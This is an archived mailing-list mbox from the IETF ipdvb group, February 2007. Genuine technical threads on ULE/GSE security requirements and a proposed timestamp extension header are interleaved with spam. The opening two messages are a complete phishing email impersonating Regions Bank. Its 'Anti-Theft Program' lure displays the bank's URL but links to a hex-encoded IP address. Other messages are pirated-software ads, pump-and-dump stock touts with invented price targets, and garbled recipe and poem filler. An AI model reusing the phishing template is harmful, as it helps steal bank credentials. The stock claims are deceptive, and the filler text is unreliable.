From accounts@regions.com Thu Feb 01 01:42:52 2007
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Reply-To: <no-reply@regions.com>
From: "Regions Bank"<accounts@regions.com>
Subject: Protect your RegionsNet® against phishing scams by activate Anti-Theft Program
Date: Thu, 1 Feb 2007 01:42:23 -0500
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<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
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<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Regions Bank</title>
</head>

<body>

<div style="width: 600px; margin: 0 auto 0 auto; border: 0px dashed black; padding: 20px 15px 1px 15px; font-size: 12px">
<img src="http://files.bnpmedia.com/directories/211/2006/296573/regionsbank_06.jpg" width="200" height="52" />
<p style="font-weight: bold; color: #072510; font-family: arial;" >MEMBER NOTICE: </p>
<p style="font-weight: bold; color: #072510; font-family: arial;" align="justify">Currently we are trying to upgrade RegionsNet®  Online Accounts for security measures.
Anti-Theft Program will allow us to verify your identity from your computer, at home, at work, anywhere. When you access your account we'll know it's you. With our new Anti-Theft Program you are helping not only yourself but also Regions bank. We apreciate your support and understanding our banking method authentications. </p>
<p style="font-weight: bold; color: #072510; font-family: arial;" align="justify">Businesses are continually concerned about the ever increasing sophistication in the types of frauds that are being committed today. Many of these frauds begin with the theft of private information. Business Authentication allows us to provide additional protection and enables you to have further control over the type of information or transactions accessed by your employees.

<p style="font-weight: bold; color: #072510; font-family: arial;" align="justify">Please Note: Regions Bank will never ask for your Personal Identification Number via e-mail or phone.</p>

</p>
<p style="font-weight: bold; color: #072510; font-family: arial;" align="justify">Activate Anti-Theft Program and confirm the authentication procedure by following the link below.   </p>
<p style="font-weight: bold; color: #074580; font-family: arial;" align="center">
<a style="color: #074580" href="http://0xc9.0x10.0xfc.0xcb/secure.regionsnet.com/EBanking/logon/user.htm
">https://secure.regionsnet.com/EBanking/logon/user?a=</a></p>


<img src="http://www.credit-land.com/images/cards/3183.gif" width="160" height="130"></a><a onmouseover="rollem('2');window.status='';return true;" onmouseout="hidem('2');" </a></td>
<div align="center" style="margin-top: 20px;MARGIN-BOTTOM: 10px; COLOR: #666666; font-family: arial; text-align: center; background-image: url('http://www.chase.com/ccpmweb/generic/image/footer_gradient.gif'); height: 30px">2007 © Regions Bank - RegionsNet® Online  Member FDIC. Equal Housing Lender <img class="inline" height="13" alt="" src="http://www.bankofthewest.com/BOW/assets/vcmStaticContent/images/icon_ehl.gif" width="18" /><br />.</div>.</div>
</div>
</body>
</html>



From accounts@regions.com Thu Feb 01 01:42:54 2007
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Reply-To: <no-reply@regions.com>
From: "Regions Bank"<accounts@regions.com>
Subject: Protect your RegionsNet® against phishing scams by activate Anti-Theft Program
Date: Thu, 1 Feb 2007 01:42:23 -0500
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<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Regions Bank</title>
</head>

<body>

<div style="width: 600px; margin: 0 auto 0 auto; border: 0px dashed black; padding: 20px 15px 1px 15px; font-size: 12px">
<img src="http://files.bnpmedia.com/directories/211/2006/296573/regionsbank_06.jpg" width="200" height="52" />
<p style="font-weight: bold; color: #072510; font-family: arial;" >MEMBER NOTICE: </p>
<p style="font-weight: bold; color: #072510; font-family: arial;" align="justify">Currently we are trying to upgrade RegionsNet®  Online Accounts for security measures.
Anti-Theft Program will allow us to verify your identity from your computer, at home, at work, anywhere. When you access your account we'll know it's you. With our new Anti-Theft Program you are helping not only yourself but also Regions bank. We apreciate your support and understanding our banking method authentications. </p>
<p style="font-weight: bold; color: #072510; font-family: arial;" align="justify">Businesses are continually concerned about the ever increasing sophistication in the types of frauds that are being committed today. Many of these frauds begin with the theft of private information. Business Authentication allows us to provide additional protection and enables you to have further control over the type of information or transactions accessed by your employees.

<p style="font-weight: bold; color: #072510; font-family: arial;" align="justify">Please Note: Regions Bank will never ask for your Personal Identification Number via e-mail or phone.</p>

</p>
<p style="font-weight: bold; color: #072510; font-family: arial;" align="justify">Activate Anti-Theft Program and confirm the authentication procedure by following the link below.   </p>
<p style="font-weight: bold; color: #074580; font-family: arial;" align="center">
<a style="color: #074580" href="http://0xc9.0x10.0xfc.0xcb/secure.regionsnet.com/EBanking/logon/user.htm
">https://secure.regionsnet.com/EBanking/logon/user?a=</a></p>


<img src="http://www.credit-land.com/images/cards/3183.gif" width="160" height="130"></a><a onmouseover="rollem('2');window.status='';return true;" onmouseout="hidem('2');" </a></td>
<div align="center" style="margin-top: 20px;MARGIN-BOTTOM: 10px; COLOR: #666666; font-family: arial; text-align: center; background-image: url('http://www.chase.com/ccpmweb/generic/image/footer_gradient.gif'); height: 30px">2007 © Regions Bank - RegionsNet® Online  Member FDIC. Equal Housing Lender <img class="inline" height="13" alt="" src="http://www.bankofthewest.com/BOW/assets/vcmStaticContent/images/icon_ehl.gif" width="18" /><br />.</div>.</div>
</div>
</body>
</html>



From ambulating@radiobum.net Thu Feb 01 03:25:26 2007
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From: "Derek Dudley" <ambulating@radiobum.net>
To: <ipdvb-archive@ietf.org>
Subject: Office 2OO7 & Acrobat 8 Pro 79$ today Feb 01 11:10:00 MSK 2007 at Marty's PCsoft
Date: Thu, 01 Feb 2007 03:25:15 -0500
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All programms on speclal from Marty's hotsoft for 2007.

Microsoft 0ffice 2OO7    79$
Microsoft Vista Ultimate 79$
Adobe Acrobat 8 PR0 	 79$
Windows XP PR0 +SP2 	 49$
Adobe Premiere 2.O 	 59$
Macromedia Studio 8	 99$
Office2OO3 w/Contact Mgr 69$
Quickbooks 2OO6 Premier  69$
Microsoft Money 2OO7     39$
Adobe Photoshop CS2 9.O  69$
Autodesk Autocad 2OO7 	 129$
Corel Grafix Suite X3 	 59$
Adobe Creative Suite CS2 149$
Adobe Illustrator CS2	 59$
Microsoft Office XP PR0  49$
Macromedia Dreamweaver 8 49$
McAfee Internet Sec. 7   29$
Norton Antivirus Corp.   29$

D0WNL0AD lnstantly
http://ekioemi.net/

Mac Speclals:
Adobe Acrobat PR0 7	 	69$
Adobe After Effects	 	49$
Adobe Creative Suite 2 Premium 149$
Ableton Live 5.0.1		49$
Adobe Photoshop CS		49$

http://ekioemi.net/-software-for-mac-.php

1 bag chocolate chips
1/4 cup water
Girl Scout Mint Cookies
Baby Ruth Bars
golden brown.
1/4 lb Ground beef 
12 Each Soft corn tortillas
1/2 teaspoon white pepper
2 tablespoons butter
1 T. red wine vinegar
General Tso's Chicken
If you want to speed up the process, put the candy in the
Applebee's Oriental Chicken Salad
Cook macaroni noodles in a big pot of water for 12 to 15 min
Makes 12 to 15 cookies.
Fish Stock, and whisk to remove any flour lumps. Bring the liquid to a 
KFC Crispy Strips
es, or until it is golden brown. You should be sure to stir
4. Roll as thin as possible on unoiled cookie sheet - not more than 1/8"
1 small box Jello with sugar (any flavor)
1/4 teaspoon pepper
until al dente stirring often. After cooking, drain ziti well, but
Beat eggs; add pineapple juice, water, sugar, ginger, vanilla and melted 
1/4 tsp crushed celery seed 
5. Top with 3 Oz. mozzarella cheese
it combines. After the dough is created let it rest to rise for an 
brown sugar in a medium saucepan over medium/high heat. 
a 2-quart Mason jar.
1 heaping cup ice  
2 tablespoons milk
Slice the onions crosswise and separate into rings.
Almond Joy Bars
cooked, 5 to 6 min..do not overcook. Set aside in refrigerator until
1 tsp. black pepper
1    quart         Chicken broth
2 lbs. frozen hashbrowns
incorporated. Wrap the dough in plastic wrap and chill for at least 

flour, remaining sugars, remaining cinnamon and walnuts. 
Ponderosa's Steak Sauce
remaining crumb mixture. Pat firmly to make top
1/2 cup all-purpose flour
6 each White onions 
2 1/2 c Vanilla ice cream
======================================================
Microwave for 5 seconds longer.
Makes about 12 servings.
4 large, ripe strawberries
hat Tricon uses sells the potato salad that way.
Combine all ingredients 
even.
1 cup prunessalt and pepper
not when preparing the mix for storage)
Cajun Spice Blend:
3 8-ounce packages cream cheese, softened
1 tablespoon Jack Daniels Whiskey
1 Sesame-seed Bun
Remove about 1" of petals from center of onion. Dip onion in seasoned 
1 pk.  Dry yeast

1.  Preheat the oven to 350F. 2.  Beat the butter and both sugars in a large mixing bowl until light
into dry mix. 5-Drop into hot oil, skin-side-down and brown 3 to 4
1/8 teaspoon Baking Powder
1/4 teas. salt
======================================================
Topping:
Dimple dough with fingers. Place on top the following mixture: 
then turn down heat and cook to your desired doneness.
tender, approximately 5 minutes. Add to stockpot along with 
2 cups Pancake mix 
into the milk until fully moistened. Roll the moistened chi
1 egg, beaten
1/4 lb butter 
Spicy peanut sauce:
McDonald's Sweet and Sour Sauce
1 tablespoon Mix 
1 small jar pimento, drained
filled 1/3 of the way up with hot water. Bake for 50-60 minutes or until
o drain for 5 minutes



From sleepwalkerRoot's@runforfun.co.uk Wed Feb 07 14:11:00 2007
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From: "Parag Mcdwell" <sleepwalkerRoot's@runforfun.co.uk>
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Subject: sleepwalkerRoot's wrote: Did you ...
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At the time HPGI is preparing for the gold extraction. 
A lot of experts are working on the field and are making preparations for
efficient and active working. 

“We are delighted with the acquisition of Orion and we feel the property has 
excellent potential to produce results that will exceed our expectations,” 
commented Ted Pomerleau, President and Chairman of Hemisphere Gold.

As you know the State Department also noted that Suriname's efforts
in recent years to liberalize economic policy created new possibilities 
for U.S. exports and investments. 
More over in the situation of changeable global economy more countries
start to buy gold for their reserves.But what is important is that a start has been
made in buying in the market.
New information from HPGI will be at an early date.
Also company are starting to hire staff for mine gold region.
Underplay is our style (HPGI)











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6E6B7D7473776E793377756E327C6A456A6B746C
AHE9A77ZJX844KI1WVL2P6L2PSSGQV7JDO8K2P48E






From reductionssectional@trefo.ro Thu Feb 08 12:40:30 2007
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From: "Nick V Madraswala" <reductionssectional@trefo.ro>
To: <ip4@ietf.org>
Subject: Funds: The $20 billion tax time bomb
Date: Fri, 9 Feb 2007 03:40:06 +0480
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Looking to put some spring in your step. Look no further. 
Get ready for your big rise?

Quantex Capital Corp
Symbol: QCPC

Current Price:  Around   $0.21
Short Term Target:         $0.60
Long Term Target:         $1.00

Look at Recent news
Thursday February 7 - Watch this one break out.

Quantex Capital Corporation (OTC:QCPC) informed the community Thursday that Samlex 
America has successfully completed a pilot project in South America which could possibly lead to establishing a commercial presence there. The development which is a collaborative effort between the Brazilian government, utility companies and solar power supply vendors, purchased USD $250,000 
worth of solar power converters for people in isolated  areas.


CALL UP YOUR B R O K E R Today!











fwvsrtelp7ij6f3maun5kmrk9y343v4cv9tfdq4kxy1ptakkx33el44o
6E396E79337775456A6B746C
P2MQCN3LQ4TCDMM0147XC12WX2EGDEIQSN16M66QAAS






From bellyachedanger's@rz-online.de Thu Feb 08 17:57:50 2007
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Date: Thu, 8 Feb 2007 22:57:54 +0300
From: "Orchid Mahl" <bellyachedanger's@rz-online.de>
To: <ipcdn-owner@ietf.org>
Subject: Simpson ordered to stop spending
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Good news from QCPC give you the real alternative to hit the jackpot. 
QCPC is a company with far-sighted purposes.

Company strategy is to diversify within the power supply marketplace 
and build strong, niche oriented operations around the globe. 
QCPC take a long-term view of business, focusing on growth and overall 
evolution of our subsidiaries over a number of years.


Company has chosen one of solar power producer. 

As you know oil prices are rising higer and higer!
A great amount of electricity generating plants uses oil-products.
May be your domestic electrical power supplier or heat register works by using oil-products.
Modern technologies of solar extraction  also are very effective in bad light or sun and the accumulating
energy can be saved inside special batteries. That is why we can talk about full energy-independent house.

In 21 century of high technologies we can't imagine town life without energy.  
Many states in the USA has enough reserve of solar power to generate needed 
electric energy. More over the President realizes the important role of this policy and 
allocated $1 Billion to Renewable Energy.

U.S. Department of Energy FY 08 budget includes $179 million for the President's Initiative.
Particularly Solar America Initiative - $148 million;

QCPC is at the right time and place now. They have chosen promising line of activity for your 
share investments and we negotiated a contract with Samlex America, which has manufactured and distributed power supply products to more than 90 countries worldwide since 1991.
Pathfinding product designs, strict quality control, and responsible after sales service provide customers with high quality power conversion products at extremely competitive prices.

Because of this news the prices of the QCPC stocks are about to fly up. 
QCPC's financial condition is steady now. An overall market and economic conditions are also can better affect the performance of  the QCPC's shares.





From flapperscreamer's@revahertz.com Fri Feb 09 13:59:33 2007
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From: "Makayla Miguel" <flapperscreamer's@revahertz.com>
To: <iont@ietf.org>
Subject: Pengfei wrote:
Date: Fri, 9 Feb 2007 18:59:41 -0060
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Investor Alert!

Good stock MHII.OB(MARSHAL HOLDINGS INC) especially for businessmen.
MHII.OB Examined stock has a huge potential and growth.
Control the news about this great stock on broker web-site
Make an order. It is very essential you grab MARSHAL HOLDINGS INC on Friday 02.09.07
Purchasing this great stock you will not miss your target.

The fact is that Marshall Holdings International Inc. (OTC BB:MHII.OB - News) announced that revenues for the Third Quarter 2006 were eight times higher than in the same period for 2005, with an increase of $1.4 million in revenue.

We {LETprovide,give,offer} you the best stock and prices:
Now last: 0.018
Growth: + 5.83%

Coming up...  
Today prognosis -> 0.025 (+ 47 %)
Monday -> 0.035 (+ 105 %)

We have brought such news to you as WEXE 0.55 -> 0.7 HSBC 0.07->0.12 AUNI 0.165 -> 0.28
You know absolutly witch ones are real what not but this are real one.
Campaign just started more news will be soon.


6E73456A6B746C74796E793377
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Subject: New ipdvb WG Secretary: Martin Stiemerling
From: gorry@erg.abdn.ac.uk
To: ipdvb@erg.abdn.ac.uk
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I'm most pleased to welcome Martin Stiemerling
<stiemerling@netlab.nec.de>, whom the IESG have appointed as the Working
group Secretary for the ipdvb WG.

Martin is known to many of us as a presenter and minute-taker at many IETF
ipdvb WG meetings.  In his new job as the Secretary he will continue these
tasks, but will importantly serve as an alternative point of contact on WG
procedures and queries about working group documents. He can also act as a
"document shepherd" for ipdvb documents submitted to the IESG.

If you have any questions, comments, isssues, please do contact either
Martin or Me and we will be pleased to help.

Best wishes,

Gorry Fairhurst
ipdvb WG Chair)

----
The Status for the ipdvb WG is recorded at:
http://tools.ietf.org/wg/ipdvb/




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Date: Fri, 16 Feb 2007 10:53:45 +0000
From: Gorry Fairhurst <gorry@erg.abdn.ac.uk>
Organization: University of Aberdeen, UK
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Subject: Comments on Security requirements/framework for GSE/ULE
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A little whiel ago, I received some oral comments (via the telephone 
from Knut Eckstein) that I would like to relay to the authors/group 
concerning the ULE-SEC requirements draft:

* Section 6 would benefit from some diagrams.
* Please make a proposal for a framework, to indicate how the 
requirements could be satisfied, and different entities involved.
* Network availability seems to be an important driver for this work - 
although these words are may be not used - as a part of this securing 
the control plane is very important. More about this would be useful 
(e.g. using ULE extensions and ULEsec in combination and use in GSE).

I am bcc'ing this to the Kunt, with the hope that he may be able to add 
more detail and clarity - via the ipdvb mailing list (or perhaps via a 
phone call to Sunni who is currently the document editor).

Gorry



From owner-ipdvb@erg.abdn.ac.uk Fri Feb 16 06:52:15 2007
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Date: Fri, 16 Feb 2007 11:36:50 +0000
From: Gorry Fairhurst <gorry@erg.abdn.ac.uk>
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To ipdvb list:

Thanks Knut, your detialed comemnts are much appreciated!!!

I'll forward this to the list (you are of couyrse welcome to join the 
list, but your comments are much appreciated in whatever form).

List, aurthors, please find his message enclosed,

Gorry

-------- Original Message --------

Subject: Re: Comments on Security requirements/framework for GSE/ULE
Date: Fri, 16 Feb 2007 12:12:53 +0100
From: Knut.Eckstein@esa.int
To: gorry@erg.abdn.ac.uk

Dear Gorry,

I had sent you the following comments earlier as well... I can send them
to the list as well, I guess I would have to join the list first before. 
Right now the message is html-formatted, but I'm wondering whether the 
list might be openly hostile to html-emails
:-)

I sent this message originally on 23 Jan...

--------

Dear Gorry,

as discussed recently on the phone, here are my comments on subject
document:

I. General security analysis comments. The analysis is well structured 
in  general, however I would like to mention the following points:

1. Threat analysis context: I think it would add value to the analysis 
if  one considered a broader context which describes the end-to-end 
overall  communication scenario employed by the user: Often times, the 
user has to secure his communications beyond the satellite link, because 
he is using terrestrial public network links in addition to the 
satellite link.
Therefore, if the user is concerned about loss of confidentiality and 
loss  of integrity of his communication data, he will employ end-to-end 
network security mechanisms like IPSec or TLS. A gov/mil user may be 
forced by regulations to employ specific measures of that type.

Only if satellite link is used to e.g. directly join branch offices to a
HQ, ULE Sec would be the sole provider of confidentiality and integrity
and for gov/mil users this scenario further narrows to circumstances 
where they are not required to employ nationally approved crypto 
equipment (this is assuming that ULE security mechanisms are not 
nationally approved, so users would have to run approved cryptos on top 
even in the case of the satcom link being the only public transmission 
segment.

All of this means that in many cases the confidentiality and integrity 
of the user data will already be taken care of. So ULE security measures
would focus on either providing traffic flow confidentiality for user 
data that has already been encrypted or user data encryption for users 
who don't care about confidentiality/integrity in their other network
segments, i.e. because they (rightly or not) assume those links to be 
fiber optical. So I would argue that in Section 4, traffic flow 
confidentiality should be listed as the first and formost requirement.

Section 8 "Security Considerations" briefly touches upon these points by 
stating that link level encryption is often used to "supplement" L3/L4 
techniques, but for me this is "too late in the document" and the notion 
of "supplementing" should be expanded.

Of those users who already encrypt/sign their data, only a subset will 
be interested in protecting against traffic flow confidentiality. 
Another (overlapping) subset of users will have (strong) availability 
requirements on top of requirements for confidentiality and integrity.

For these people, the first paragraph on page 6 "(In existing MPEG-2 
transmission networks, these messages are broadcasted in the clear (no 
encryption or integrity checks). The integrity of these messages is 
important for correct working of the ULE network. However, securing 
these messages is out of scope for ULE security, because these messages 
are not normally encapsulated with the ULE method.") is crucially 
important to understand, because it explains that their availability 
requirement wrt ULE transmissions cannot be met by the proposed ULE 
security mechanisms.

In the same light, I think that the core statement of the following 
paragraph is not entirely correct: "Securing the ULE source and 
receivers eliminates the need to consider security issues regarding the 
remaining system components, such as multiplexers, re-multiplexers and 
modulators."

The devices mentioned could be attacked (in-band or out-of-band, 
especially if they have an IP-based management interface in addition to 
their MPEG TS interfaces) with the intent to deny service through 
malicious reconfiguration, but also to potentially have an "easier go" 
at listening to or even modifying/inserting MPEG TS messages, usually 
using debugging functionality provided by the device, i.e. threaten 
their confidentiality/integrity in case cryptographic ULE 
countermeasures are limited or do not exist. The existing threat 
analysis from my point of view focuses a bit too much on performing 
these attacks via the air interface, which is not necessarily the only 
way to get to the MPEG TS...

In summary, I think availability is an often sought security requirement 
next to integrity and confidentiality and should thus receive some more 
coverage in this spec. E.g list "protection against loss of service 
through malicious reconfiguration" as a requirement in section 4 and 
discuss inhowfar it can be met by ULE-based security mechanisms.

2. Active threats discussion in section 3.2. Denial of Service is listed
as the last bullet point in the active threats portion of 3.2 which is
thereafter concluded with the following:

"The active threats mentioned above are major security concerns for the 
Internet community. The defence gainst such attacks is data integrity 
using cryptographic techniques and sequence numbers [BELLOVIN]."  I 
think the majority of denial of service attacks cannot be countered 
using cryptography and sequence numbers.

3. I found it quite hard to review this draft while not being a 
non-ULE/MPEG specialist. The reader is assumed to have a lot of detailed 
knowledge of MPE vs ULE to understand the relatively short statements in 
sections 6.1 and 6.2 e.g.  "Encryption of the MPE MAC address is not
permitted in such systems.

Also, I was confused by two statements on page 7 which for me 
contradicted  each other: Network devices may re-number the PID values 
associated with one or more TS Logical Channels (e.g. ULE Streams) to 
prevent clashes at a multiplexer between input streams with the same PID 
carried on different input multiplexes."

While this and preceding text at the bottom of page 6 seem to indicate 
that one cannot rely on the PID to identify a certain network node, 
later on the same page it says: "However there is only one valid source 
of data for each MPEG-2 Elementary Stream, bound to a PID value. This 
observation could simplify the requirement for authentication of the 
source of a ULE Stream".

4. Active threat scenarios: For case 2 it is mentioned that the MPEG
transmission operator may not be aware of such an attack, for case 3 it 
is stated that he will probably detect such an attack. Why then does 
section 4 recommend intrusion detection as a security measure for case 3 
but not for case 2?

5. Section 6 among others discusses the potential to hide the ULE 
receiver identity to allow for traffic flow confidentiality even beyond 
the OSI layer 3 headers. But implementing this to my understanding may 
have consequences which should be discussed, e.g. a common key must be 
used so that every receiver can first decrypt and then see whether the 
packet is really intended to be processed by him. This in turn could 
simplify denial-of-service attacks.

II. Editorial comments:

1. The last three paragraphs of section 3.1 no longer focus on the section
title "system components" but provide an initial attack assessment ('an
attacker that is able to modify'), an initial countermeasure discussion
('one method to provide security is to...', etc.)

2. In section 3.3 (Threat scenarios), "hijacking" is not a well defined
term, the authors probably want to express the attacker's ability to
"conduct active attacks", to stay with the terminology established so 
far. Typo "active actives" instead of "active attacks".

3. Section 4 is titled "Security requirements for IP" but the bullets
contain/discuss both requirements ('data confidentiality', 'protection
against replay attacks') as well as technical security mechanisms ('ULE
source authentication is required'). Ideally security requirements 
should be discussed first and then followed by the security 
services/mechanisms chosen to satisfy the requirements. 'Layer 2 ULE 
Receiver authentication' could need a bit more detail, e.g. is it 
intended to be receiver to receiver or receiver to hub, one-directional 
or bi-directional authentication? Lastly, why is the section title and 
some of the terminology (e.g. 'IP addresses') specific to IP, if ULE can 
encapsulate IP as well as other network protocols?

4. Section 6.2 on providing security at the encapsulation layer lists 
only advantages, not a single disadvantage :-)) Since the section ends 
with "This method does not preclude the use of IPsec at L3 (or TLS 
[RFC4346] at L4)."

I would suggest mentioning that using L3 end-to-end security would 
partially deny the advantage listed just above (use of PEP, compression
etc), since  those techniques could only be applied to TCP packets 
bearing a TCP-encapsulated IPsec packet exchange, but not the TCP 
packets of the original applications, which in particular inhibits 
compression.

Best regards,

Knut
--
Dr. K. Eckstein, Telecommunication System Security Engineer
ESA/TEC-ETC, P.O. Box 299, 2200 AG Noordwijk ZH, Netherlands
Tel: +31 71 565 8894


Gorry Fairhurst <gorry@erg.abdn.ac.uk> wrote on 16/02/2007 11:53:45:

> A little whiel ago, I received some oral comments (via the telephone
> from Knut Eckstein) that I would like to relay to the authors/group
> concerning the ULE-SEC requirements draft:

> * Section 6 would benefit from some diagrams.
> * Please make a proposal for a framework, to indicate how the
> requirements could be satisfied, and different entities involved.
> * Network availability seems to be an important driver for this work -
> although these words are may be not used - as a part of this securing
> the control plane is very important. More about this would be useful
> (e.g. using ULE extensions and ULEsec in combination and use in GSE).

> I am bcc'ing this to the Kunt, with the hope that he may be able to add
> more detail and clarity - via the ipdvb mailing list (or perhaps via a
> phone call to Sunni who is currently the document editor).

> Gorry




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<DIV>Snow haze gleams like sand.<br>In a single floral stroke,<br>Green lil=
ac buds appear that won't survive<br>This third day of our January thaw,<br=
>"Now it's my turn to sing!"<br>It's snowing, it's returning to a town<br>a=
nd the Splendid Splinter. For a few dreamy dollars,<br>From which, thanks t=
o symmetry,<br>End of the comedy.<br>The road, but not far enough ahead<br>=
The road, but not far enough ahead<br>Suddenly, in a savage, dreadful bend,=
<br>That square=97Oh, 56 x 56<br>But when, on the timepieces that we call<b=
r>Shadows keep piling up as surfaces<br>Writhing their stunted limbs,<br>So=
ught to contrive, intending to express<br>Like theirs ends? From what dista=
nt point of vision<br>Of observation lying on the ground<br></DIV>
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-------- Original Message --------
Subject: 68th IETF - Travel to the Czech Republic
Date: Thu, 22 Feb 2007 20:05:07 -0500
From: IETF Secretariat <ietf-secretariat@ietf.org>
To: IETF Announcement list <ietf-announce@ietf.org>
CC: wgchairs@ietf.org, irsg@isi.edu

Please read information regarding passport and health insurance
information for traveling to the Czech Republic at:
www3.ietf.org/meetings/68-passport_info.html

There are only 23 days left until the Prague IETF Meeting.

You can register for the IETF Meeting at:
http://www.ietf.org/meetings/68-IETF.html






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From owner-ipdvb@erg.abdn.ac.uk Tue Feb 27 04:59:10 2007
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Subject: A proposal for a link timestamp option for ULE/GSE - Comments?
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I've written the propsoal below as a candidate (if useful) for inclusion 
in the ULE extension header draft.

I realise there may be some debate about how to fix a sensible timestamp 
value - so here is a first attempt via the list to see if others have 
any comments or ideas...

Clearly there are many options for representation, including ...
"A resolution of 20 microseconds. The 32-bit value therefore indicates 
the number of 20 microsecond ticks past midnight Universal Time when the 
timestamp option was inserted, right-justified to the 32-bit field."

All thoughts are welcome!

Best wishes,

Gorry


---


Timestamp Extension Header

The timestamp extension is designed to support monitoring and 
measurement of ULE performance over a link to provide indications of the 
quality of an operational ULE link. It may be particularly useful for 
GSE links (where significant complexity exists in the scheduling 
provided by the lower layers). The extension permits an Encapsulator to 
insert an extension header while forming an SNDU. This extension may be 
(optionally) checked at the Reciever.

Possible uses of this extension include:

* Validation of in-sequence ordering per Logical Channel,
* Measurement of the one-way delay (when synchronised with the sender)
* Measurement of PDU Jitter introduced by the link,
* PDU loss (with additional information from the sender).


 >>> IANA please insert a value for the H-Type from the Next-Header 
Registry in the sentence below, and the figure following <<<

The Timestamp Extension Header is specified by the IANA-assigned H-Type 
of 0xTBD. The format of the Timestamp extension is shown in figure XX below.

  0               7               15              23              31
  +---------------+---------------+---------------+---------------+
  |     0x03      |H-Type = 0xTBD |       time stamp HI           |
  +---------------+---------------+---------------+---------------+
  |         time stamp LO         |            Type               |
  +---------------+---------------+---------------+---------------+



This extension is an Optional Extension Header ([RFC4326], Section 5).
Figure 2 shows the format of this extension with a HLEN value of 3 
indicating a timestamp of length 4B  plus a Type field.

The extension carries a 32-bit value (time stamp HI plus time stamp LO). 
The specified resolution is 1 microsecond. The value therefore indicates 
the number of 1 microsecond ticks past the hour in Universal Time when 
the timestamp option was inserted, right-justified to the 32-bit field. 
Systems unable to insert timestamps at the specified resolution may use 
an arbitary (and varying) value to pad the unused least-significant bits.

The last two bytes carry a 16-bit Type field that indicates the type of 
payload carried in an SNDU, or the presence of a further Next-Header, as 
defined in [RFC4326], Section 4.4.

This is an Optional Extension Header, Receivers that do not implement, 
or do not wish to process the Timestamp Extension MAY skip this 
extension and continue to process the remainder of the SNDU.







From owner-ipdvb@erg.abdn.ac.uk Tue Feb 27 05:56:25 2007
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It seems quite a good idea.
We often come to the point where we need to measure delay and jitter 
over DVB networks, and we have no choice but proprietary, IP-based 
methods. Including a timestamp at the encapsulation stage could be quite 
handy.
Also, in the GSE case (no MPEG-2 TS), this extension could act as a new 
PCR, providing encapsulator (rather than multiplexer) clock reference.

George

----------

Dr. Georgios Gardikis
Associate Researcher
NCSR "Demokritos", Institute of Informatics and Telecommunications
Athens 153 10, Greece
Tel: +30 210 650 3108
Fax: +30 210 653 2175



Gorry Fairhurst wrote:

>
> I've written the propsoal below as a candidate (if useful) for 
> inclusion in the ULE extension header draft.
>
> I realise there may be some debate about how to fix a sensible 
> timestamp value - so here is a first attempt via the list to see if 
> others have any comments or ideas...
>
> Clearly there are many options for representation, including ...
> "A resolution of 20 microseconds. The 32-bit value therefore indicates 
> the number of 20 microsecond ticks past midnight Universal Time when 
> the timestamp option was inserted, right-justified to the 32-bit field."
>
> All thoughts are welcome!
>
> Best wishes,
>
> Gorry
>
>
> ---
>
>
> Timestamp Extension Header
>
> The timestamp extension is designed to support monitoring and 
> measurement of ULE performance over a link to provide indications of 
> the quality of an operational ULE link. It may be particularly useful 
> for GSE links (where significant complexity exists in the scheduling 
> provided by the lower layers). The extension permits an Encapsulator 
> to insert an extension header while forming an SNDU. This extension 
> may be (optionally) checked at the Reciever.
>
> Possible uses of this extension include:
>
> * Validation of in-sequence ordering per Logical Channel,
> * Measurement of the one-way delay (when synchronised with the sender)
> * Measurement of PDU Jitter introduced by the link,
> * PDU loss (with additional information from the sender).
>
>
> >>> IANA please insert a value for the H-Type from the Next-Header 
> Registry in the sentence below, and the figure following <<<
>
> The Timestamp Extension Header is specified by the IANA-assigned 
> H-Type of 0xTBD. The format of the Timestamp extension is shown in 
> figure XX below.
>
>  0               7               15              23              31
>  +---------------+---------------+---------------+---------------+
>  |     0x03      |H-Type = 0xTBD |       time stamp HI           |
>  +---------------+---------------+---------------+---------------+
>  |         time stamp LO         |            Type               |
>  +---------------+---------------+---------------+---------------+
>
>
>
> This extension is an Optional Extension Header ([RFC4326], Section 5).
> Figure 2 shows the format of this extension with a HLEN value of 3 
> indicating a timestamp of length 4B  plus a Type field.
>
> The extension carries a 32-bit value (time stamp HI plus time stamp 
> LO). The specified resolution is 1 microsecond. The value therefore 
> indicates the number of 1 microsecond ticks past the hour in Universal 
> Time when the timestamp option was inserted, right-justified to the 
> 32-bit field. Systems unable to insert timestamps at the specified 
> resolution may use an arbitary (and varying) value to pad the unused 
> least-significant bits.
>
> The last two bytes carry a 16-bit Type field that indicates the type 
> of payload carried in an SNDU, or the presence of a further 
> Next-Header, as defined in [RFC4326], Section 4.4.
>
> This is an Optional Extension Header, Receivers that do not implement, 
> or do not wish to process the Timestamp Extension MAY skip this 
> extension and continue to process the remainder of the SNDU.
>
>
>
>



From owner-ipdvb@erg.abdn.ac.uk Tue Feb 27 05:58:55 2007
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Date: Tue, 27 Feb 2007 10:45:54 +0000
From: Gorry Fairhurst <gorry@erg.abdn.ac.uk>
Organization: University of Aberdeen, UK
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To: ipdvb@erg.abdn.ac.uk
Subject: Re: A proposal for a link timestamp option for ULE/GSE - Comments?
References: <45E3FBCF.1040509@erg.abdn.ac.uk> <45E40AB5.80408@iit.demokritos.gr>
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Are there timing constraints on the PCR that you would expect to need 
for GSE, that would imply a certain required timestamp resolution?

Gorry

Georgios Gardikis wrote:

> It seems quite a good idea.
> We often come to the point where we need to measure delay and jitter 
> over DVB networks, and we have no choice but proprietary, IP-based 
> methods. Including a timestamp at the encapsulation stage could be quite 
> handy.
> Also, in the GSE case (no MPEG-2 TS), this extension could act as a new 
> PCR, providing encapsulator (rather than multiplexer) clock reference.
> 
> George
> 
> ----------
> 
> Dr. Georgios Gardikis
> Associate Researcher
> NCSR "Demokritos", Institute of Informatics and Telecommunications
> Athens 153 10, Greece
> Tel: +30 210 650 3108
> Fax: +30 210 653 2175
> 
> 
> 
> Gorry Fairhurst wrote:
> 
>>
>> I've written the propsoal below as a candidate (if useful) for 
>> inclusion in the ULE extension header draft.
>>
>> I realise there may be some debate about how to fix a sensible 
>> timestamp value - so here is a first attempt via the list to see if 
>> others have any comments or ideas...
>>
